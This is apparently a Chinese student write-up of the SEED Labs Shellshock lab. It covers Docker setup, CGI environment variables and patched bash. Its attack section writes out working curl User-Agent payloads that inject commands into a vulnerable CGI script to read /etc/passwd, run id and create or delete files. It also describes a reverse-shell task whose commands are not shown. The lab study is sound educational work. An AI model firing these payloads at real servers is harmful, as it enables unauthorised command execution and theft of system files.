ShellShock20.04版本
Posted 陌上&未央
tags:
篇首语:本文由小常识网(cha138.com)小编为大家整理,主要介绍了ShellShock20.04版本相关的知识,希望对你有一定的参考价值。
ShellShock20.04版本
Topic
- shellshock
- 环境变量
- Bash中的函数定义
- Apache和CGI程序
实验环境设置
DNS Setting
将IP10.9.0.80和www.seedlab-shellshock.com连接
使用cat /etc/hosts查看DNS设置
hosts格式配置
hosts文件可以配置主机ip与对应的主机名。在局域网或者是万维网上,每台主机都有一个ip地址,它区分开每台主机,并可以根据ip进行通讯。但是Ip地址不符合人脑的记忆规律,因此出现了域名,例如www.baidu.com.在一个局域网中,每台机器都有一个主机名,用于区分主机,便于相互访问。
hosts文件格式
ip地址 主机名/域名 (主机别名)
Docker实验容器安装
$ docker-compose build # Build the container image
$ docker-compose up # Start the container
$ docker-compose down # Shut down the container
$ dcbuild # Alias for: docker-compose build
$ dcup # Alias for: docker-compose up
$ dcdown # Alias for: docker-compose down
关闭docker服务时,需要在新的终端,输入关闭指令
$ dockps // Alias for: docker ps --format "{{.ID}} {{.Names}}"
$ docksh <id> // Alias for: docker exec -it <id> /bin/bash
$ docker exec -t -i * /bin/bash – 进入到容器内部, *表示是需要进入的容器id
exit//退出指令
其中 ID号可以打印部分,因为ID号都是唯一的。
TASK
Task 1: Experimenting with Bash Function
设计一个程序,对比正常的Shell和有漏洞的ShellShock对代码的解析,判断是当前Shell是否存在漏洞
bash_shellshock运行后,输出extra,且foo函数解析不全,故当前shell有漏洞。
Task 2: Passing Data to Bash via Environment Variable
$ curl -v www.seedlab-shellshock.com/cgi-bin/getenv.cgi
$ curl -A "my data" -v www.seedlab-shellshock.com/cgi-bin/getenv.cgi
$ curl -e "my data" -v www.seedlab-shellshock.com/cgi-bin/getenv.cgi
$ curl -H "AAAAAA: BBBBBB" -v www.seedlab-shellshock.com/cgi-bin/getenv.cgi
-v打印出HTTP请求和来自服务器的响应
-A选项,可以用来设置User-Agent字段
-e,改变Referer字段
-H,改变额外头字段
可以发现成功打印出了环境变量,当CGI程序被调用的时候,会首先FORK创建一个新进程,然后再使用exec()函数来执行CGI程序,因为CGI程序开头是#!/bin/bash,所以该程序是一个shell脚本,所以他执行后,bash会执行shell脚本,当创建子进程执行bash时,它为bash进程提供了环境变量,传递到子进程。其中有些环境变量可以通过人为控制传入指定的字符,例如USER_AGENT等。
Task 3: Launching the Shellshock Attack
//窃取密码
curl -A "() { echo "hello" ;}; echo Content_type: text/plain; echo; /bin/cat /etc/passwd" http://www.seedlab-shellshock.com/cgi-bin/vul.cgi
//ID查看
curl -A "() { echo "hello" ;}; echo Content_type: text/plain; echo; /bin/id" http://www.seedlab-shellshock.com/cgi-bin/vul.cgi
//creat
curl -A "() { echo "hello" ;}; echo Content_type: text/plain; echo; /bin/touch /tmp/file" http://www.seedlab-shellshock.com/cgi-bin/vul.cgi
//查看
url -A "() { echo "hello" ;}; echo Content_type: text/plain; echo; /bin/ls /tmp" http://www.seedlab-shellshock.com/cgi-bin/vul.cgi
//delet
url -A "() { echo "hello" ;}; echo Content_type: text/plain; echo; /bin/rm /tmp/file" http://www.seedlab-shellshock.com/cgi-bin/vul.cgi
指令解析:
() { echo ”hello” ;};这一段就是新程序的一个函数。
echo Content_type: text/plain; echo;这一段就是告诉shell解析的时候保持为纯文本,不用其他的解释型语言来解析
/bin/cat /etc/passwd 查看/etc/passwd的文件内容。至于为什么不直接用cat指令,的确打印不出来,应该是无法识别,可能无法共享环境变量。
运行之后即可打开/etc/passwd文件
/ect/shadow文件需要root权限才能查看。seed用户通过/bin/cat 查看时会被拒绝访问
Question1:
不能从shadow窃取密码,shadow只有root权限和shadow权限,seed用户无权限读取。
Question2:
不能进行攻击,?之后的字符串能够注入能得到:QUERY_STRING=AAAAA;REQUEST_URI=/cgi-bin/getenv.cgi?AAAAA,且需要连续字符串;输入:
curl "http://www.seedlab-shellshock.com/cgi-bin/getenv.cgi"?-A "() { echo "hello" ;}; echo Content_type: text/plain; echo; /bin/id"
得到:
Taks4:Getting a Reverse Shell via Shellshock Attack
- 攻击者端创建监听
-
攻击者端创建反向Shell
-
命令解读
10.9.0.1为主机IP,可通过ifconfig查看。链接至docker容器内的有漏洞的getenv.cgi程序执行。主机通过上述命令取得服务器的输入权限和输出反馈。
-
创建成功
Task 5: Using the Patched Bash
如何修改docker内文件?一篇文章带你搞定如何在 Docker 创建的容器中修改配置
- 刚创建的 docker 容器,是没有 vi 命令的:
- 需要先执行:
apt-get update
- 待更新完毕,再执行
apt-get install vim
,安装 vi - 至此,vi 命令安装成功,接下来便可以在 docker 容器中执行修改文件操作
- 进入docker,修改docker文件
- 执行task3指令
正常的bash,对该命令不会错误解析,造成ShellShock攻击,且能正确打印环境变量
以上是关于ShellShock20.04版本的主要内容,如果未能解决你的问题,请参考以下文章
Shellshock远程命令注入(CVE-2014-6271)漏洞复现